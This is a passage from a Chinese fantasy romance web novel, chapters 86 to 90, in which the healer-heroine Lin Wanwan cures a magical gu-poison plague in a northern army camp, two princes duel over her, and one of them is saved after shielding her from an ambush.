可是,如此烈性、如此诡异的瘟疫,在狼山脚下,王庭接应的部队中爆发,这绝不可能是偶然!
“紫黑色斑块…溃烂流脓…”
“若以活人精血为引,以特殊蛊虫为媒介散播,症状确与黑死瘟极其相似...”
这分明是《天医策》中记载的,关于“腐尸瘟蛊”的记载。
“这是蛊毒,不是普通瘟疫!”林绾绾声音笃定。
“若是蛊毒的话,这必然是蛊婆婆搞的鬼!”
赫连灼闻言,眼中爆发出滔天杀意。
“好!好得很!敢在我狼山脚下撒野!”
他看向林绾绾,眼神锐利如刀。
“圣女!鹰回谷数千将士的性命,不容有失!你可能解此蛊?”
林绾绾的目光扫过圣泉中散发着温润光芒的《天医策》,感受着体内奔流不息的力量。
想到母亲与自己源于北漠的血脉,一股强大的责任感油然而生。
她重重点头,声音斩钉截铁。
“能!给我人手!药材!立刻封锁鹰回谷所有出口!未染病者先集中隔离!染病者集中救治!我有九转玲珑针,必破此蛊!”
“好!”赫连灼再无迟疑,立刻下令。
“传本王子命令!狼山卫即刻开赴鹰回谷!封锁所有通道,一切听从圣女调遣!违令者,杀!”
命令如同飓风般传开。
鹰回谷,
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此刻已成炼狱。
谷口被惊恐的士兵用巨石粗陋地封堵。
缝隙中却透出里面人间地狱般的景象。
空气中到处都是浓重的血腥与腐臭。
营帐东倒西歪,地上随处可见蜷缩的身影。
染病者皮肤上布满触目惊心的紫黑色斑块,有些斑块已经溃烂流脓。
黄绿色的脓液混合着暗红的血水,散发着恶臭。
伤兵们痛苦地呻吟、抽搐,眼神空洞绝望。
尚未染病的士兵挤在角落,面无人色,眼中只剩下对死亡的恐惧和对同伴的排斥。
“放我们出去!”
“魔鬼!这都是魔鬼的诅咒!”
“烧死他们!烧死这些瘟神!”
恐慌和绝望如同瘟疫本身,在人群中疯狂蔓延。
当看到赫连灼和林绾绾一行策马而来时,封锁谷口的士兵如同看到了救星,同时又带着深深的疑虑和恐惧,尤其是看到林绾绾这个陌生的大胤女子。
“王子殿下!”
一名满脸血污的百夫长踉跄着上前,声音干涸嘶哑。
“没救了!医官都死在里面了!传播速度太快了,根本控制不住…”
“闭嘴!”
赫连灼大喝一声,王族威压瞬间镇住骚动。
“此乃巫医族圣女!奉王庭之命,前来祛除瘟疫!立刻打开通道!”
“圣女?”
士兵们面面相觑,目光落在林绾绾身上,带着明显的不信任和排斥。
一个大胤女子是圣女?
巫医族早已销声匿迹多年,她是从哪儿冒出来的?
就这么一个弱女子,能解决这恐怖的瘟疫?
林绾绾没有理会那些置疑的目光。
她的心神完全沉浸在眼前的惨状和应对之法中。
“果然是腐尸瘟蛊…”她低声自语。
目光如炬地扫过几个典型的重症患者。
“蛊虫入血,噬精腐肉,瘟毒攻心!”
“需要以冰火之力先封经脉,阻蛊虫蔓延,再以圣火焚蛊,寒冰镇毒,最后辅以《天医策》祛瘟药方,内外兼施!”
林绾绾翻身下马,大步走向封锁线,声音清冷,带着强大的穿透力:
“开道!”
第86章 狼谷疗瘟
狼山卫在赫连灼的示意下,为林绾绾清理出一条进入鹰回谷营地的通道。
林绾绾不做任何迟疑,火速进入。
“你…你要干什么?”
一个染病较轻,但手臂已有紫斑的年轻士兵见林绾绾一直逼近他,惊恐后退,眼中满是排斥。
“别碰我!你这个大胤女人!”
林绾绾对他的话置之不理,脚步未停,目光也一直锁定他手臂的紫斑。
她右手将头上的木簪取下,一扭,一旋,取出其中的九转玲珑针。
尾部闪烁着温润光泽的银针在她指尖轻轻晃动。
银针快如闪电,精准无比地刺入年轻士兵手臂上曲池、内关、含谷三穴。
针尾有金红光芒微闪,一股温和却强大的冰火本源之力瞬间注入。
那士兵只觉得手臂一麻一凉,原本的灼热刺痛,如同蚁噬的麻痒感竟瞬间减轻了大半。
手臂上那正在蔓延的紫黑色斑块,如同被无形的力量遏制,停止了扩散。
士兵愣住了,不敢置信地看着自己的手臂。
林绾绾动作不停,左手又是三根银针入手。
针尖准确地刺入年轻士兵的心俞、膈俞、肝俞三穴。
冰寒之力透体而入,直逼血脉深处。
士兵猛地打了个寒战,只觉得一股刺骨的寒意瞬间压制了体内的燥热和烦恶。
身体里那些蠢蠢欲动的“脏东西”仿佛被冻结了。
“呃啊!”
士兵突然喉头一甜,猛地咳出一小口粘稠的、带着细微黑色颗粒的污血。
污血落地,竟发出轻微的“滋滋”声,腐蚀了地面的一小片枯草。
而那些黑色颗粒竟然在地面上疯狂蠕动!
“蛊虫!是蛊虫!”
周围的士兵看得真切,惊恐地叫出声。
同时,他们也被林绾绾这神乎其神的针法震慑住了。
林绾绾脸色越发沉静,右手再次捻起三根针,针尾金焰更盛。
三根针似乎带着净化一切的气息,猛地刺入士兵大椎、灵台、至阳三穴。
灼热的圣火之力如同烈阳融雪,顺着经脉焚烧而下。
士兵的身体剧烈一颤,皮肤上渗出大量带着腥臭的黑汗。
他脸上的青灰死气以肉眼可见的速度消散,眼中恢复了清明和劫后余生的狂喜。
“我…我感觉好多了!不热了!不痒了!”
他激动地挥舞着手臂,声音带着哭腔:“多谢圣女!多谢圣女救命之恩!”
这一幕,如同投入死水的巨石!
周围的士兵,无论是染病的还是未染病的,瞬间沸腾了!
“圣女!救救我!”
“圣女!看看我阿兄!”
“求圣女救命啊!”
绝望的哭嚎瞬间变成了狂热的祈求!
所有的排斥、疑虑在生死面前烟消云散。
林绾绾用她的行动,征服了北漠士兵的心。
圣女之名,终将实至名归!
“青蚨!立刻准备汤药!用大锅熬煮。所有未染病者,也要每人一碗预防!”
林绾绾语速极快地下令。
“狼山卫听令!将染病者按轻、重分区!轻症者,先由我施针封脉镇蛊,重症者,集中到中央空地等待后续治疗!快!”
“遵圣女令!”
狼山卫和刚刚还充满排斥的士兵们,此刻如同找到了主心骨,爆发出整齐的应诺。
行动迅速而有序地执行起来。
林绾绾如同不知疲倦的机器,身影在混乱的营地中穿梭。
指尖银针翻飞如蝶舞,每一次落下,都精准地刺入穴位。
或封脉阻蛊,或冰魄镇蛊,或圣火焚邪!
冰火本源之力在她体内圆融流转,通过九转玲珑针化作救命的甘泉,注入一个个濒死的躯体。
汗水浸湿了林绾绾鬓角的发丝,顺着苍白的脸颊滑落。
长时间、高强度的精神集中和力量输出,让刚刚完成淬炼,尚未完全稳固的身体承受着巨大的负荷。
林绾绾的脸色越来越白,指尖因过度捻针而微微颤抖。
每一次施针后,她都需要强压下翻腾的血气和阵阵眩晕。
赫连灼一直守护在林绾绾身侧不远处。
他还亲手斩杀了几名因恐慌而试图冲击隔离区的狂乱士兵,确保她救治环境的安全。
琥珀色的眼眸中映着林绾绾忙碌
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而坚韧的身影,眼神中满是震撼与欣赏。
时间在生与死的拉锯中缓缓流逝。
夕阳的余晖将山谷染成一片凄艳的血红。
林绾绾刚刚为一个胸口大面积溃烂、气息奄奄的重症老兵施完最后一针。
老兵呕出大量污血后,呼吸终于平稳下来。
她长舒一口气,紧绷的神经骤然松弛。
一股难以抗拒的脱力感如同潮水般席卷全身。
眼前一黑,天旋地转!
她脚下踉跄,身体不受控制地向后软倒。
“小心!”
一直关注着林绾绾动向的赫连灼反应极快。
他一个箭步上前,有力的手臂瞬间拦住了林绾绾纤细的腰肢,将她半抱在怀中,支撑住她摇摇欲坠的身体。
林绾绾虚弱地靠在赫连灼坚实的臂弯里,沉重的眼皮几乎抬不起来。
她太累了,累得连一根手指都不想动,只想沉沉睡去。
“绾绾?你怎么样?”
赫连灼低沉的声音带着关切,在林绾绾的耳边响起。
他低头看着林绾绾布满细密汗珠的脸颊,看着她因脱力而微微颤抖的睫毛,揽在她腰间的手臂下意识地收紧了些。
就在这短暂依靠的瞬间。
“赫!连!灼!你给孤放开她!”
一声饱含着嫉妒与滔**火的嘶吼,如同惊雷般炸响在山谷入口。
一道玄色身影,如同浴血的修罗,冲破狼山卫的阻拦,带着一身凛冽的杀气和浓重的血腥味,出现在众人视线中。
来人正是萧景珩!
他显然经历了一场惨烈的厮杀,玄色劲装上布满刀剑划痕和暗红的血迹。
发髻散乱,几缕墨发沾着血污贴在额角。
最让人心悸的,是他那双眼睛——
猩红如血,燃烧着足以焚毁一切的暴怒和一种被彻底撕裂的痛楚!
他的目光,死死钉在赫连灼怀中那虚弱的身影上!
钉在赫连灼揽在对方腰间的那只手上!
“放开她——!”
萧景珩的怒吼,再次响彻整个鹰回谷!
他手中滴血的长剑,带着愤怒的火焰,直指向赫连灼的咽喉!
第87章 狼回争斗
“我再说一次,放开她!”
萧景珩的怒吼如同受伤孤狼的泣血哀鸣,裹挟着足以撕裂山风的暴怒与刻骨痛楚。
他手中滴血的长剑,在光线下折射出刺目的寒光。
他看着被赫连灼紧紧护在怀中的林绾绾,这画面如同烧红的烙铁,狠狠烫穿了他的理智。
心爱之人被夺走的愤怒,如同毒藤绞紧了他的心脏。
赫连灼瞧清来人,琥珀色的眼眸也瞬间冰封,一股名为杀意的寒流席卷全身。
他将怀中的林绾绾交给青蚨,一步踏前。
高大挺拔的身躯如同壁垒,将林绾绾完全挡在身后,腰间北漠弯刀瞬间出鞘半寸。
“萧景珩,你找死!”
赫连灼的声音如同寒风,满是杀伐之气。
“擅闯我北漠境地,屠戮我北漠勇士!还敢对本王子的圣女口出狂言!”
“你的圣女?”
萧景珩像是听到了最荒谬的笑话,猩红的黑眸死死盯着赫连灼身后那抹朦胧的身影,声音因极致的愤怒而扭曲。
“她是孤的人,从生到死都是!”
如同野兽宣示**般的咆哮,带着不顾一切的疯狂!
“你的人?”
赫连灼冷笑,眼中是毫不掩饰的轻蔑。
“大胤的太子殿下,你可别忘了!是你大胤的皇帝,亲手将圣女送上了焚星台!是本王子,将她从火海中带出!”
“她体内流淌的是北漠王庭血液,是北漠的圣女!”
“自此往后,林绾绾与你大胤,与你萧氏皇族,再无半分瓜葛!”
赫连灼说出的每一个字,都如同重锤,狠狠砸在萧景珩最痛的伤口上。
“赫!连!灼!”
这三个字如同从地狱深处挤出的咆哮,从萧景珩口中嘶吼而出。
长剑嗡鸣!杀气冲天!
萧景珩的身影化作一道撕裂风雪的玄色闪电,挟着雷霆万钧之势,悍然扑下。
目标直指赫连灼的咽喉!
赫连灼腰间镶着冰魄石的北漠弯刀如同活物般弹出刀鞘,带起一道凌厉的幽蓝弧光。
他脚下的岩石寸寸龟裂,但他不退反进,弯刀带着斩断一切的决绝,迎向萧景珩那柄滴血的长剑。
刺耳的金铁交鸣如同炸雷,响彻整个鹰回谷。
两股截然不同却同样霸道绝伦的力量狠狠碰撞。
火星四溅!
萧景珩的剑法,轻灵诡谲,刁钻狠辣,剑走偏锋,每一剑都带着不顾一切的疯狂,直指赫连灼周身要害。
赫连灼的刀法,大开大合,刚猛无俦,刀势如同草原上的风暴,带着碾碎一切的蛮横与野性。
两人身影在谷内高速交错,碰撞,分离!
剑光与刀芒撕裂空气,发出尖锐的厉啸。
狂暴的气劲将地面的积雪和碎石卷起,形成混乱的风暴。
萧景珩出剑速度快到模糊。
三道真假难辨的剑影如同怒海波涛,层层叠叠,带着排山倒海之势,分袭赫连灼的上、中、下三路!
剑尖所指之处,空气似乎都被冻结。
赫连灼眼中凶光猛射,持刀迎上!
一道凝练到极致的幽蓝刀罡撕裂风雪,带着斩破山岳的意志,悍然劈向那三道剑影的核心。
刀罡剑影猛烈碰撞!
恐怖的气浪呈环形炸开。
周围石壁上坚硬的岩石表面也被硬生生刮去一层。
青蚨带着怀中的林绾绾被这气**得连连后退。
林绾绾受到气浪影响,在青蚨怀中缓缓挣开眼睛。
入眼便是萧景珩和赫连灼的缠斗。
她瞬间大惊失色,灵台也清醒不少。
她想上前阻止二人的打斗,奈何身体太过虚弱,只能用眼睛,紧紧跟随着两人的身影。
萧景珩注意到林绾绾清醒过来,却发现她的眼睛在看着赫连灼。
嫉妒如同疯长的野草!
他不要林绾绾看别人,她是他的!只能看他一人!
萧景珩周身气息陡然变得更加阴冷诡异,长剑之上弥漫起一层浓郁的血色煞气。
剑招不再讲究章法,只剩下最原始,最疯狂的搏命杀招。
他完全不顾自身防御,只求在赫连灼身上留下致命的创伤。
“真是疯子!”
赫连灼怒骂,弯刀一转,刀势也更加狂猛。
“冰魄
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封魂!”
一股冰寒的刀意瞬间扩散。
赫连灼的刀光仿佛化作了来自极北的寒霜,带着冻结万物的意志,要将萧景珩同他那疯狂的剑意一同冰封!
这股极寒至极的内力,在触及萧景珩周身弥漫的血色煞气时,如同火星溅入了油桶。
萧景珩突然身体一僵,发出一声痛苦至极的嘶喊。
体内那本就躁动不安的玄冥寒毒,被赫连灼至阴至寒的内力彻底引爆。
一大口逆血从萧景珩口中狂喷而出。
他周身的血色煞气如同冰雪消融般溃散。
长剑“当啷”一声脱手坠地,高大的身躯剧烈摇晃几下,最终单膝重重跪倒在冰冷的岩石上。
一股肉眼可见的冰蓝色寒流从他心口位置疯狂蔓延,所过之处,皮肤凝结成白霜,经脉寸寸冻结。
“萧景珩!”林绾绾的惊呼撕心裂肺。
她再也顾不上其他,周身冰火光晕流转,如同扑火的飞蛾,瞬间冲破了赫连灼刀意残留的冰寒领域,扑到萧景珩的身前。
“别过来...危险...”
萧景珩艰难地抬起头,眼神涣散,声音微弱得如同呓语,却还是下意识地想阻止林绾绾的靠近。
他看着林绾绾眼中汹涌的泪水,看到她不顾一切冲过来的身影...
她心中是有自己的...
那么,哪怕这一刻死去...也值了...
“你闭嘴!”
林绾绾的声音里满是哭腔和不舍,冰冷的指尖迅速搭上萧景珩的腕脉。
萧景珩体内的寒毒已经彻底失控!
赫连灼的冰魄内力如同催化剂,让蚀魂引的余毒与玄冥寒毒融合变异,形成了毁灭般的洪流!
萧景珩的心脉,在此时如同被万载玄冰包裹,即将彻底断绝生机!
外伤崩裂,内外交困!
“青蚨!药箱!快!”
林绾绾大声喊道,声音带着掌控生死的威压,甚至一瞬间盖过了呼啸的风雪。
药箱被迅速摊开。
林绾绾看也不看脸色铁青、欲言又止的赫连灼,全部心神都凝聚在萧景珩身上,出手快如闪电。
第88章 舍命相护
七根金针带着微芒,精准刺入萧景珩胸前七大要穴上!
针阵成型瞬间,狂暴冲击心脉的寒毒洪流,如同被无形的冰晶锁链强行束缚。
一股精纯温润的圣火力量化作坚韧的屏障,牢牢护住那微弱跳动的心脉核心。
紧接着!
林绾绾开始清理萧景珩身上伤口的创面,敷上金疮药粉,干净布条迅速包扎固定。
整个过程行云流水。
随着针阵稳固和冰火本源之力的持续注入,萧景珩体内狂暴的寒毒洪流终于被压制,并强行引导回心口火焰印记附近。
此刻,萧景珩的呼吸虽是微弱,但终于是平稳下来。
那双涣散的黑眸艰难地聚焦,贪婪的、一瞬不瞬地凝视着近在咫尺、为他全力施救的林绾绾身上。
他眼前的女子,此刻额角布满细密的汗珠,混合着血水,顺着脸颊滑落,滴在他冰冷的心口上。
专注的神情,紧绷的唇线,微微颤抖却稳定施针的手指...
萧景珩缓缓抬起手,极其缓慢地伸向林绾绾的脸颊,仿佛要拂去她的汗珠,又仿佛要确认这并非濒死的幻梦。
林绾绾正为他擦拭额头的冷汗,突然感受到萧景珩冰冷的指尖触碰到她的脸侧,身体一僵。
他指尖冰冷的触感,带着细微的战栗,轻轻摩挲着自己温热的脸颊,
那粗糙的指腹划过肌肤,带来一阵如同电流般的酥麻,直窜心尖。
她没有躲闪,抬起眼,迎上萧景珩那双仿若要将她灵魂吸走的眼眸。
四目相对。
劫后余生的庆幸,未消的恐惧,深藏的思念,在无声的凝视中汹涌澎湃。
“绾绾...”
萧景珩吐出的每一个字都带着沉重的喘息。
“你别跟他走!”
那眼神与语气,褪去了太子的威仪,敛去了血鸦阁主的冰冷,只剩下一个男人最本能的、近乎卑微的祈求。
所有的误解,所有的愤怒,所有的家国立场...
在这一声祈求般的低唤中,如同遇见烈阳的冰雪,瞬间消融殆尽。
林绾绾的心如同被最滚烫的暖流击中。
压抑许久的情愫如同决堤般汹涌而出,眼中瞬间蒙上水雾。
她反手轻轻覆上萧景珩冰冷的手背,声音带着哽咽:“我不走。我就在这里...”
就在这温情脉脉的瞬间。
“圣女小心背后!”
青蚨凄厉的尖叫,撕裂了这短暂的宁静!
一道快如闪电,带着浓郁腥臭死气的黑影,如同从地狱爬出的恶灵,从鹰回谷边缘一根巨大的石柱阴影后闪现而出。
黑影目标明确,直指林绾绾毫无防备的后心!
“**吧!林绾绾!”
黑影竟是消失已久的林月瑶!
她的模样看起来十分干瘪,惨白的皮肤下,血管清晰可见。
淬着蛊毒的漆黑利爪,撕裂空气,狠狠抓向林绾绾的心脏。
“小心!”
赫连灼的怒吼与弯刀破空的尖啸同时响起!
但他被刚才激烈的打斗牵制,距离稍远,救援已然来不及。
千钧一发!
方才还虚弱不堪的萧景珩,眼中猛地爆发出骇人的凶戾光芒。
一股源自灵魂深处的守护本能,压榨出身体里最后一丝潜能。
他不知哪来的力气,猛地将林绾绾狠狠拽入怀中!
一个旋身,用自己的后背,迎向了那索命的毒爪。
噗嗤——!
黑爪贯穿皮肉的闷响,令人头皮发麻!
萧景珩一口鲜血狂喷而出,尽数喷洒在林绾绾雪白的脖颈上。
那带着萧景珩生命气息的液体,灼烫了林绾绾的皮肤。
林绾绾眼睁睁看着那漆黑的毒爪,如同钩镰一般狠狠洞穿了萧景珩的后心。
乌黑粘稠的毒血瞬间从贯穿的伤口处涌出。
“不要——!”林绾绾发出撕心裂肺的哭喊。
萧景珩发出沉闷的痛呼,彻底软倒在林绾绾的怀中。
他用尽最后一丝残存的力气,微微抬起头,冰冷却柔软的薄唇,带着铁锈般的味道,轻微地印在了林绾绾因极度惊骇而微张的唇瓣上。
紧接着,萧景珩的头便无力地垂落在林绾绾的颈窝里。
林绾绾的大脑瞬间一片空白。
唇瓣上那冰冷而真实的触感,怀中男人迅速流逝生机的沉重身体...
这些如同最残酷
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的刑罚,在将她一遍又一遍的凌迟!
“萧景珩!”
林绾绾死死抱住萧景珩瘫软的身体,滚烫的泪汹涌而出。
泪水混合着萧景珩温热的血,在她的脸上留下凄艳的痕迹。
“孽障!”
赫连灼的弯刀携着雷霆之怒终于斩至。
刀光瞬间将贯穿萧景珩后心的漆黑毒爪齐腕斩断!
“啊--!”
林月瑶发出非人的惨嚎,断腕处喷溅出粘稠的黑色污血。
她怨毒至极地看了一样抱着萧景珩痛哭的林绾绾,又看了一眼杀气冲天的赫连灼,眼中闪过疯狂的不甘。
无奈之下,还是借着蛊毒黑雾,如同鬼魅般重新隐匿消失于山谷中,瞬间无踪!
“追!”
赫连灼火速下令,数名狼山卫便跟着黑雾方向如影随形地扑入山谷深处。
当赫连灼重新转身看向场中,瞳孔骤然收紧!
萧景珩后心那个被贯穿的那个伤口,正汩汩地涌出带着浓郁死气的毒血。
那颜色,那气息——
正是跟士兵们所中一致的腐尸瘟蛊!
看来这个林月瑶也已经成为蛊婆婆的蛊皿,这场灾难也确实跟蛊婆婆有关!
“绾绾,放开他!他中了瘟蛊!必须立刻救治!”
赫连灼的声音充满急迫和凝重。
萧景珩若是死在这里,先不说绾绾会如何,大胤的皇帝恐怕更会以此为借口,继续引发两国滔天战火!
“青蚨!冰魄草,火莲籽,还有烈酒!要快!”
林绾绾抬起泪眼婆娑的脸,声音虽嘶哑却异常冷静,带着一种掌控生死的气场!
她动作轻柔地将萧景珩小心翼翼放在地面上。
接过青蚨递过来的烈酒,开始反复清洗萧景珩恐怖的伤口。
眼见着,伤口周围的皮肉以肉眼可见的速度迅速坏死、发黑。
林绾绾手下速度更快,手握银针,双手动作几乎化成残影。
九根九转玲珑针,针尖凝聚着冰火同源的力量,瞬间刺入萧景珩后心伤口周围的九处大穴!
针阵成型刹那,冰火交织的封印之力强行锁住伤口的毒素,将蛊毒向外蔓延的速度降到最低!
第89章 真情告白
萧景珩的毒素已经侵入心脉深处,必须在心脉完全被腐蚀之前将毒素引出来。
林绾绾目光扫过冰魄草和火莲籽。
原本腐尸瘟蛊至阴至邪,以至阳至圣之力焚其根本,再以至阴至寒之力固其残躯,最后以冰火同源之力引导离体即可。
但她完成力量淬炼后,又耗费大量精力给士兵们解蛊,此时身体已经透支。
现在蛊毒已经与萧景珩心脉纠缠,若是她用现在的身体为他强行引蛊,稍有不慎,便是两人俱焚。
一个极其凶险的方案在林绾绾脑中突然成型。
“赫连灼!”
林绾绾看向一旁脸色无比凝重的北漠王子。
“我需要你以巫笛引动我体内火焰之力,助我短暂激发超越极限的圣火本源,使我能焚化萧景珩体内的源毒。”
“同时,以你的‘冰魄玄功’护住他心脉最后一线生机,隔绝圣火灼烧!”
“你敢不敢?”
赫连灼闻言,瞳孔剧震!
这个方法,简直是在刀尖上跳舞!
不仅需要他对自己力量控制到毫巅,更需要他与林绾绾之间有绝对的信任!
稍有差池,萧景珩心脉焚毁,林绾绾亦会被狂暴的圣火反噬,经脉尽断!
他看着林绾绾怀中的萧景珩迅速流逝的生机…
他明白,这已经是目前唯一的办法!
也是林绾绾对他赫连灼的信任。
“好!”
赫连灼再无半丝犹豫,盘膝坐在萧景珩另一侧,短笛横与唇前。
转瞬间吹响短笛。
笛声不再是单纯引动血脉的尖锐,而是低沉、浑厚。
每一个音符都似乎是引动着天地间玄奥的韵律。
伴随着笛声,林绾绾识海中爆发出前所未有的光芒。
一股远超她自身承受极限的天地之力,被巫笛强行接引,轰然灌入她的身体。
“啊--!”
林绾绾发出一声痛苦的闷哼。
一股似乎足以毁灭一切的金红圣火,在她经脉中轰然爆发。
她的皮肤瞬间赤红如烙铁,体表笼罩的冰火光晕暴涨,光芒刺目。
就是现在!
“焚!”
林绾绾厉声清叱,引导着那足以焚山煮海的圣火之力,精准的冲击着萧景珩的心脉。
瞬间将盘踞其中的那团黑色蛊毒彻底包裹。
蛊毒在至阳圣火的焚烧下发出凄厉的“尖叫”,剧烈翻滚挣扎,冒出浓郁的黑烟后,迅速消融、汽化。
但同时,恐怖的圣火也在灼烧着萧景珩脆弱的心脉。
“冰魄!镇!”
赫连灼眼中精光爆射,一股精纯冰冷的至寒内力,如同最坚韧的万载玄冰铠甲,瞬间覆盖在萧景珩濒临崩溃的心脉之上。
这股力量硬生生将那毁灭性的圣火隔绝在外。
冰与火...
守护与毁灭...
在方寸之间展开惊心动魄的拉锯!
圣火在林绾绾精妙的操控下,如同一把火焰刀,精准地剔除着每一丝顽固的毒源。
终于!
最后一缕顽固的毒气在圣火的净化下彻底消散。
一股精纯而温和的冰火本源之力,顺着林绾绾的引导,如同生命甘泉,缓缓反哺回萧景珩枯竭的经脉,滋养着他受损的心脉和千疮百孔的身体。
做完这一切,林绾绾周身的冰火光晕暗淡到了极点,近乎消失。
接着,身体一软,向前栽倒,被眼疾手快的青蚨一把扶住。
赫连灼也缓缓放下短笛,额头满是细汗,显然消耗巨大。
再看萧景珩,他脸上骇人的青灰死气已然消散,呼吸间开始带着生命的韵律。
后心恐怖地贯穿伤口,流出的血液也变成了鲜红,坏死的青灰色已经被清楚干净。
成功了!
“他暂时无碍了。”
林绾绾靠在青蚨身上,声音虚弱,却带着一种劫后余生的如释重负。
她看着萧景珩昏迷中依旧紧蹙的眉峰,唇瓣上似乎还残留着他留下的温度。
就在这时,一声极其微弱的呻吟,从萧景珩口中逸出。
林绾绾强打起精神和力气扑向萧景珩,眼睛里的泪水再也抑制不住。
只见萧景珩浓密的睫毛激烈地颤动了几下,那双深邃的黑眸缓缓睁开一条缝隙。
虽然依旧暗淡,却如同拨开浓雾的寒星,瞬间锁
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定了林绾绾沾满泪痕的脸庞。
“绾绾别哭…我没事…”
萧景珩声音嘶哑得几乎只剩气音。
他艰难地扯了扯嘴角,想给林绾绾一个安抚的笑容,却牵动了伤口,眉心痛苦地粗蹙起。
萧景珩的目光贪婪地描摹着林绾绾的眉眼,似乎要将她的样子刻进灵魂深处。
他抚摸着林绾绾的脸颊,指尖带着一种失而复得的珍视。
“焚星台的火,不止差点让你殒命,也烧得我…魂飞魄散…”
“追来的路上,我只有一个念头…”
他剧烈喘息着,每一个字都仿佛用尽了全身力气,目光却灼热得如同燃烧的火焰,满是刻骨铭心的深情。
他的声音陡然拔高了一丝,带着近乎宣誓般的郑重,每一个字都清晰地回荡在寂静的狼回谷内:
“林绾绾,你给我听清楚…我爱你!从幼时你给我糕点的时候,就成为刻进我生命中的一束光…”
“刑场再次看见你,你那双倔强、对命运不肯屈服的眼睛,就留在了我的心里…”
“冷宫的火场…渊阁的生死与共…还有刚刚你差点又死在我面前的那个瞬间,我明白有些话必须要告诉你…”
“林绾绾!我爱你!深入骨髓,至死方休!你是我的,只能是我的!谁也抢不走,就连死神也不行!”
“我爱你”三个字如同惊雷,炸响在林绾绾的耳边。
林绾绾彻底呆住,巨大的震撼淹没了她。
清晰、炽热、深入骨髓的深情充斥在她的心间。
泪水如同断了线的珠子,滚滚而落。
林绾绾被这用生命验证的告白彻底击穿了心防!
她俯下身,不顾一切紧紧抱住萧景珩,将脸深深埋进萧景珩的颈窝,泪水濡湿了对方的衣襟。
萧景珩感受着颈间的滚烫湿意,感受着爱人身体的颤抖,心口的火焰印记传来前所未有的滚烫的悸动。
他用尽最后一丝力气,抬起手臂,艰难却坚定地环住林绾绾颤抖的身体,仿佛要将她揉进自己的骨血里。
从金昙圣殿赶来的大长老,看着狼回谷内拥抱的二人,眼中尽是宿命的缠绕。
第90章 冰火引脉
“圣女…”
一直沉默在侧的大长老缓缓开口,打断了谷中二人之间的温存。
浑浊的目光扫过气息平稳的萧景珩,又落在林绾绾身上,声音带着一丝奇异的波动。
“冰火同源,双生之印!此子体内的寒毒印记与圣女同出一源。此乃天意,亦是宿命纠缠之始。”
“圣女可趁此机会拔除其寒毒根本,稳固你二人冰火同源之力。”
“这可能需以《天医策》所载‘冰火同契’的最高法门…行双修调和之道…”
双修?!
大长老的话如同惊雷,在狼回谷冰冷的空气中回荡,击穿了所有的喧嚣与血腥。
林绾绾整个人僵在原地,脸颊如同火烧,滚烫的温度从耳根蔓延至脖颈。
她甚至能听到自己心脏在胸腔里擂鼓般地狂跳。
“荒谬!”
赫连灼的怒喝如同冰雹炸裂一般。
他周身散发着怒意,琥珀色的眼眸中带着毫不掩饰的质疑。
“长老慎言!此乃何等邪妄之法,岂能用在圣女身上!况且此子乃大胤太子!与我北漠视同水火!其居心甚是叵测!岂能…”
“王子殿下!”
大长老浑浊的目光扫过赫连灼,带着洞悉一切的平静。
“此非邪妄,乃《天医策》中所载的无上医道正法!这不仅关乎圣女殿下与这萧氏子体内同源之力的根本,更关乎…我金昙王庭的未来!”
他目光转向林绾绾,躬身行礼:
“圣女殿下,您体内圣火之力已趋稳固,然刚刚强行引毒,终是伤到了根本,留下隐患。”
“而此子体内的玄冥寒毒,霸道绝伦,更与您同源。”
“若不能趁此机会彻底拔除寒毒根本,稳定你二人的同源之力,他日寒毒反噬,不仅他必死无疑,更可能因印记同源,引动殿下您体内的力量失衡,后果不堪设想!”
林绾绾心猛地一沉!
她想起之前渊阁冰火同契时,萧景珩寒毒爆发对她的冲击...
大长老所言,绝非危言耸听。
这隐患,确如悬顶之剑!
“双修调和,非世俗情欲。”
大长老的声音带着古老的肃穆。
“乃是以金针渡穴为媒,引动你二人心口同源火焰印记共鸣,以冰火本源之力在彼此体内构建完美循环。”
“如同阴阳一般,相生相济,互为滋养。”
“这样,既可彻底净化拔除他体内寒毒根本,亦能稳固夯实你二人冰火同源之力,补全缺失之本源。”
“此乃…唯一正途!”
唯一正途!
这四个字狠狠砸在林绾绾的心上。
她一只手抚上萧景珩的心口,感受着他那微弱却与自己血脉相连的火焰印记的跳动…
“林绾绾!”赫连灼的声音里带着压抑的怒火。
他死死盯着林绾绾,“此法先不说凶险莫测,且需要肌肤相亲,气息交融!此人本就对你心思不纯,若他假借疗伤之名…后果不堪设想…”
“我不会!”
“他不会!”
两道声音同时响起,打断了赫连灼的话。
林绾绾和萧景珩深情对视一眼,两人的手紧紧相握在一起,信任的力量在二人之间流转。
林绾绾抬头,迎视着赫连灼,眼中所有的犹豫、羞怯沉淀为一种决绝。
“他是为我挡下致命一击才重伤至此。他的命,我救定了!按照大长老所说之法,行医者救人之道,无关其他!”
她的话斩钉截铁,带着一种不容置喙的强大气场,瞬间压下了赫连灼的质疑和广场上所有惊疑的目光。
“长老,我们现在就去金昙圣泉,请您为我**指引。”林绾绾沉声下令。
“谨遵圣女谕!”大长老躬身,眼中闪过欣慰与敬重。
赫连灼看着林绾绾扶着萧景珩,在长老和青蚨的簇拥下,骑马疾驰向狼山圣殿的背影,双拳在袖中紧握的指节发白。
琥珀色的眼眸中翻涌着滔天的怒火以及一种深沉的无力感。
“好!好得很!”
赫连灼从齿缝里挤出几个字,声音冰冷刺骨。
“传本王令!封锁狼山所有通道,杜绝任何消息外露!彻查王庭内部!给本王子一寸寸地筛,看看背后到底是
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谁在兴风作浪!”
他必须做点什么!
绝不能让失控的局面继续下去!
*****
金昙圣殿深处,一间由万年寒冰玉整体雕琢而成的静室内。
室内寒气森森,墙壁地面都凝结着薄薄的白霜。
中央,一张巨大的冰玉床散发着彻骨的寒意,足以压制一切躁动的力量。
萧景珩被小心地放在冰玉床上,只着单薄里衣。
他虽然再度昏迷过去,但呼吸已趋平稳。
后心的伤口被重新处理过,敷上了北漠特制的冰蟾玉髓膏,抑制可能的余毒与炎症。
林绾绾站在床边,已换上一身素净的白色纱裙。
长发用一根简单的木簪竖起来,露出光洁的额头和修长的脖颈。
她脸上已无一丝羞涩和犹豫,只剩下医者的专注与圣女的肃穆。
三位长老分立冰玉床三才方位,神色凝重。
“圣女殿下,请上冰玉床,与萧施主掌心相对,心口相抵。”
大长老的声音低沉而清晰,带着引导:
“以冰火同源之力为引,凝神静气,沟通你二人心口火焰印记。吾等三人将引动圣殿之力,护持你二人经络,引导力量流转。”
林绾绾依言在萧景珩身侧盘膝坐下,用九转玲珑针封住萧景珩周身几大穴道。
伸出双手,轻轻覆上他冰冷的手掌。
